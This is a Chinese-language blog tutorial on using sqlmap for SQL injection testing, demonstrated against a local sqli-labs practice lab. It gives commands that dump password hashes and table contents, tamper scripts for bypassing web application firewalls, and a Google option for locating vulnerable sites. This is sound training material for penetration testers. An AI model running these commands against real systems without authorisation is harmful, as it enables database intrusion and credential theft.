渗透测试---SQL注入~SQLmap工具基本实用

Pangolin(穿山甲)

 

 

SQLmap

需要在python27的环境下运行。

打开sqlmap命令行,如果python27没有装在环境变量中,需要先敲python调用,再输入sqlmap命令。

常用命令:

1.判断当前用户是否是dba:
python sqlmap.py -u "url" --is-dba

2.--users:列出数据库管理系统用户:
python sqlmap.py -u "url" --users

3.--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords
python sqlmap.py -u "url" --passwords -U sa

4.查看用户权限
python sqlmap.py -u "url" --privileges
python sqlmap.py -u "url" --privileges -U postgres

5.--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs

6.--tables列数据库表
python sqlmap.py -u "url" --tables -D "db_name"
-D:指定数据库名称

7.--columns查看列名
python sqlmap.py -u "url" --columns -T "table_name" -D "db_name"

8.--dump -C "column1_name,column2_name,column3_name" 查询字段数据
python sqlmap.py -u "url" --dump -C "column1_name,column2_name" -T "table_name" -D "db_name"

实战演示:

get型:

以sql-labs中的Less 1为例。

在sqlmap命令行输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1"

回车执行,其中会有很多数据交互。

 

执行完成后可以看到哪里存在漏洞,sqlmap跑的时候所运用的注入类型及语句,还有输出结果的保存位置。

 

当下次测相同url时,会直接读取之前保存的输出结果,如果想要看过程,可以去保存位置删除之前的输出结果。

爆数据库,输入:

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" --dbs

爆表,例如指定数据库为dvwa,输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa --tables

爆字段,例如指定数据库为dvwa,指定表为users,输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users --columns

 

爆内容,例如指定数据库为dvwa,指定表为users,指定字段为user和password,输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users -C user,password --dump

post型:

以sql-labs中的Less 18为例。

使用burpsuite代理抓包并且关闭拦截,在本关随便输入一组用户名和密码,点击提交后在burpsuite的历史记录中找到请求的数据包,将post传递的参数复制。

 

在sqlmap命令行输入

sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-18/" --data "uname=admin&passwd=password&submit=Submit"

回车执行。

类似:

  • cookie注入时,抓包复制cookie值,--cookie "cookie值"即可,适用于Web应用需要登录的时候,直接抓包获取cookie值,cookie中含有登录态信息。
  • user-agent注入时,抓包复制user-agent值,--user-agent "user-agent值"即可。
  • risk和level参数都有4个级别,级别越高测试的范围越大,例如可以包括数据头部注入,以及使用or等函数进行注入,导致可能会修改原有数据库的数据。
  • 如果知道大概是什么注入类型,可以使用--technique来指定注入类型。
  • 暴力破解Access数据库时有可能跑不出表和密码,可以使用--common-tables和--common-columns来指定字典进行爆破,不指定的话默认使用sqlmap自带字典。
  • -g可以使用Google搜索引擎在互联网上搜索具有相同类型漏洞的站点。
  • --prefix可以在命令中添加注入时用到的前缀。
  • --suffix可以在命令中添加注入时用到的后缀。例如使用AND ('1'='1进行闭合,这样执行后就会变成AND ('1'='1')。
  • --time-sec可以设定延迟注入的时间。
  • --tamper可以修改注入数据,通过调用写好的脚本绕过waf的过滤,利用脚本中将and替换为anandd,即可以使用双写绕过and的过滤。
  • tamper详解链接:https://www.freebuf.com/sectool/179035.html
  • 脚本开头都设有优先级函数,如果--tamper调用了多个脚本,会根据优先级,执行优先级最高的脚本,如果要调用的脚本都生效,可以将调用的脚本改为相同优先级。

 

posted @ 2020-05-09 12:57  强霸卓奇霸  阅读(504)  评论(0)    收藏  举报
https://blog-static.cnblogs.com/files/xiaokang01/js.js 这是添加的文件的链接 color="240,230,140" 粒子的颜色设置 opacity="1" 粒子的透明度 count="75" 粒子的个数